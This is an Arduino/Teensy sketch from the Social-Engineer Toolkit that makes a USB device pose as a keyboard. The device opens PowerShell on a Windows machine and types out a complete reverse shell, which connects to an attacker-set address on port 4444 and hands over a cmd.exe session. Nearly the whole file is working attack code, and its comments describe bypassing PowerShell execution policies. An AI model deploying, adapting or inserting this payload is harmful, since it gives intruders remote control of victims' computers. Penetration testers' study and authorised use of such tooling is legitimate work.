social-engineer-toolkit/src/teensy/powershell_reverse.pde
allfro a27d918842 Fixes missing keystrokes issue
This fix addresses a bug where the old ascii_println function misses the first and last character of each line. Teensyduino/Arduino IDE appears to have added a `Keyboard` class that has a `println` method. This method seems to reliably send all keystrokes to the target and at a seemingly faster rate.
2014-02-21 00:03:32 -05:00

82 lines
3.6 KiB
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//
// Social-Engineer Toolkit Teensy Attack Vector
// Written by: Dave Kennedy (ReL1K) and Josh Kelley (WinFaNG)
//
// Special thanks to: Irongeek
// You will need to setup a netcat listener MSF cannot handle this payload
//
// 2011-02-28 padzero@gmail.com
// * Added "ALT code" print functions (ascii_*): Fixed payload execution on non-english keymap targets
// * Changed from script to interactive powershell execution: Bypass Restricted Powershell Execution Policies
//
#define ascii_println Keyboard.println
void setup() {
delay(10000);
omg("powershell");
delay(1000);
// Here is the payload...
// This is a reverse bind shell through powershell. I need to fix it use the
// bind shell. The reverse bind shell code is cleaner though.
// I bet we could use the dip switches to configure the IP addy or port...
ascii_println("function cleanup {");
ascii_println("if ($client.Connected -eq $true) {$client.Close()}");
ascii_println("if ($process.ExitCode -ne $null) {$process.Close()}");
ascii_println("exit}");
// Setup IPADDR HERE
ascii_println("$address = 'IPADDR'");
// Setup PORT HERE
ascii_println("$port = '4444'");
ascii_println("$client = New-Object system.net.sockets.tcpclient");
ascii_println("$client.connect($address,$port)");
ascii_println("$stream = $client.GetStream()");
ascii_println("$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize");
ascii_println("$process = New-Object System.Diagnostics.Process");
ascii_println("$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'");
ascii_println("$process.StartInfo.RedirectStandardInput = 1");
ascii_println("$process.StartInfo.RedirectStandardOutput = 1");
ascii_println("$process.StartInfo.UseShellExecute = 0");
ascii_println("$process.Start()");
ascii_println("$inputstream = $process.StandardInput");
ascii_println("$outputstream = $process.StandardOutput");
ascii_println("Start-Sleep 1");
ascii_println("$encoding = new-object System.Text.AsciiEncoding");
ascii_println("while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}");
ascii_println("$stream.Write($encoding.GetBytes($out),0,$out.Length)");
ascii_println("$out = $null; $done = $false; $testing = 0;");
ascii_println("while (-not $done) {");
ascii_println("if ($client.Connected -ne $true) {cleanup}");
ascii_println("$pos = 0; $i = 1");
ascii_println("while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {");
ascii_println("$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)");
ascii_println("$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}");
ascii_println("if ($pos -gt 0) {");
ascii_println("$string = $encoding.GetString($networkbuffer,0,$pos)");
ascii_println("$inputstream.write($string)");
ascii_println("start-sleep 1");
ascii_println("if ($process.ExitCode -ne $null) {cleanup}");
ascii_println("else {");
ascii_println("$out = $encoding.GetString($outputstream.Read())");
ascii_println("while($outputstream.Peek() -ne -1){");
ascii_println("$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}");
ascii_println("$stream.Write($encoding.GetBytes($out),0,$out.length)");
ascii_println("$out = $null");
ascii_println("$string = $null}} else {cleanup}}");
ascii_println(""); //Enter to start execution
}
void loop() {
}
void omg(char *SomeCommand)
{
Keyboard.set_modifier(128);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
ascii_println(SomeCommand);
}